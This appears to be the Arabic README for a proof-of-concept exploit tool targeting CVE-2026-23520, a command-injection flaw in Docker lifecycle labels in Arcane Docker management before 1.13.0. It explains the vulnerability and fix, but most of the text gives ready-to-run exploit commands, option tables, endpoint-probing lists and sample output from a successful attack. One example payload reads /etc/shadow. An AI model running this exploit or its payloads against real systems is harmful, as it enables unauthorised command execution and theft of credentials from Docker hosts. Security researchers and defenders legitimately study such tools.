
إثبات مفهوم لاستغلال CVE-2026-23520، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) موثّقة في إدارة Arcane Docker عبر حقن أوامر نظام التشغيل في تسميات دورة الحياة. يتضمن أوضاع الفحص والاستغلال والتوليد.
حقن أوامر نظام التشغيل في Arcane Docker Management (< 1.13.0)
Arcane هي منصة حديثة قائمة على الويب لإدارة Docker. الإصدارات السابقة لـ 1.13.0 معرّضة لثغرة تنفيذ أوامر عن بُعد (RCE) موثّقة عبر حقن أوامر نظام التشغيل في تسميات دورة الحياة الخاصة بخدمة التحديث.
كانت خدمة التحديث تدعم تسميتين لحاويات Docker:
| التسمية | المُشغِّل |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | قبل تحديث الحاوية |
com.getarcaneapp.arcane.lifecycle.post-update | بعد تحديث الحاوية |
يتم تمرير قيمة التسمية مباشرةً إلى /bin/sh -c دون أي تنقية. ولأن أي مستخدم موثّق (وليس فقط المسؤولين) يمكنه إنشاء مشاريع عبر واجهة API، يمكن للمهاجم زرع مشروع مسموم. وعندما يقوم مسؤول لاحقًا بتشغيل تحديث حاوية، يتم تنفيذ الأمر المُحقن داخل الحاوية — وربما على المضيف إذا كانت هناك وحدات تخزين مُثبّتة.
المهاجم (مستخدم بصلاحيات منخفضة) خادم Arcane
──────────────────────── ──────────────
1. المصادقة (أي مستخدم) ──────────► إصدار JWT
2. إنشاء مشروع مع حفظ المشروع مع
تسمية دورة حياة مسمومة ──────────► التسمية الخبيثة
│
┌───────────────────────────────────┘
│ 3. المسؤول يشغّل تحديث الحاوية
▼
قارئ التحديث في Arcane يقرأ قيمة التسمية
يمررها إلى /bin/sh -c
│
▼
*** تنفيذ أوامر عشوائي ***
(نطاق الحاوية، أو المضيف إذا كانت وحدات التخزين مُثبّتة)
| الحالة | الإصدارات |
|---|---|
| معرّضة | Arcane < 1.13.0 |
| مُصحّحة | Arcane ≥ 1.13.0 |
الإصلاح (الالتزام 5a9c2f9) يزيل ميزة تسميات دورة الحياة بالكامل للقضاء على سطح الهجوم.
urllib من المكتبة القياسية، يعمل على أي Python 3.10+check (بصمة الإصدار)، exploit (النشر)، generate (ملف compose دون اتصال)-v) — يُظهر بالضبط أي نقاط نهاية يتم استكشافها وما الذي يعودpython3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit نشر المشروع المسموم عبر واجهة Arcane API
check بصمة Arcane والتحقق مما إذا كان معرّضًا
generate إنشاء ملف compose مسموم (بدون الحاجة إلى شبكة)
options:
-h, --help عرض رسالة المساعدة هذه والخروج
-v, --verbose عرض مخرجات تصحيح أخطاء الاستكشاف
خيارات الاستغلال:
| الخيار | الوصف | الافتراضي |
|---|---|---|
-t, --target | مضيف Arcane (IP أو اسم مضيف) | مطلوب |
-P, --port | منفذ Arcane | 3552 |
-u, --username | أي مستخدم Arcane موثّق | مطلوب |
-p, --password | كلمة مرور المستخدم | مطلوب |
--payload | أمر الصدفة للحقن | id |
--hook | خطاف التحديث pre أو post | pre |
--project-name | اسم المشروع المسموم | poc-cve-2026-23520 |
--env-id | معرف البيئة (يُكتشف تلقائيًا إذا حُذف) | تلقائي |
--scheme | http أو https | http |
--no-verify | تخطي التحقق من شهادة TLS | معطّل |
لا يثبّت السكربت مسار API واحدًا. بدلاً من ذلك، يستكشف بصمت مسارات متعددة معروفة لكل عملية ويتوقف عند أول نجاح:
| العملية | نقاط النهاية المُجرَّبة |
|---|---|
| الإصدار | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| المصادقة | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| البيئات | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| إنشاء مشروع | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, والمزيد |
يتم أيضًا مطابقة مفاتيح الاستجابة بمرونة (مثل currentVersion, version, Version, serverVersion — بما في ذلك الكائنات المتداخلة والبحث غير الحساس لحالة الأحرف).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── الخطوة 1 · بصمة الهدف ──
[*] الهدف: http://10.129.7.208:3552
[*] استكشاف نقاط نهاية الإصدار …
[+] تم العثور على الإصدار عبر /api/version
[+] إصدار Arcane: v1.12.4
[+] الإصدار v1.12.4 < 1.13.0 — معرّض
── الخطوة 2 · المصادقة ──
[*] المصادقة كمهاجم …
[+] تم الحصول على JWT عبر /api/auth/login
── الخطوة 3 · اكتشاف البيئة ──
[*] استكشاف نقاط نهاية البيئة …
[+] تم العثور على بيئة واحدة عبر /api/environments
[*] → 1 (محلية)
[+] استخدام البيئة: 1
── الخطوة 4 · زرع المشروع المسموم ──
[*] حقن الحمولة في تسمية دورة الحياة: pre-update
[*] التسمية : com.getarcaneapp.arcane.lifecycle.pre-update
[*] القيمة : id
[+] تم إنشاء المشروع عبر /api/environments/1/projects
── تم زرع الاستغلال بنجاح ──
[+] المشروع المسموم ينتظر الآن مشغّل تحديث.
5a9c2f9تُقدَّم هذه الأداة لأغراض الاختبار الأمني المصرّح به والتعليم فقط. الوصول غير المصرّح به إلى أنظمة الكمبيوتر غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
MIT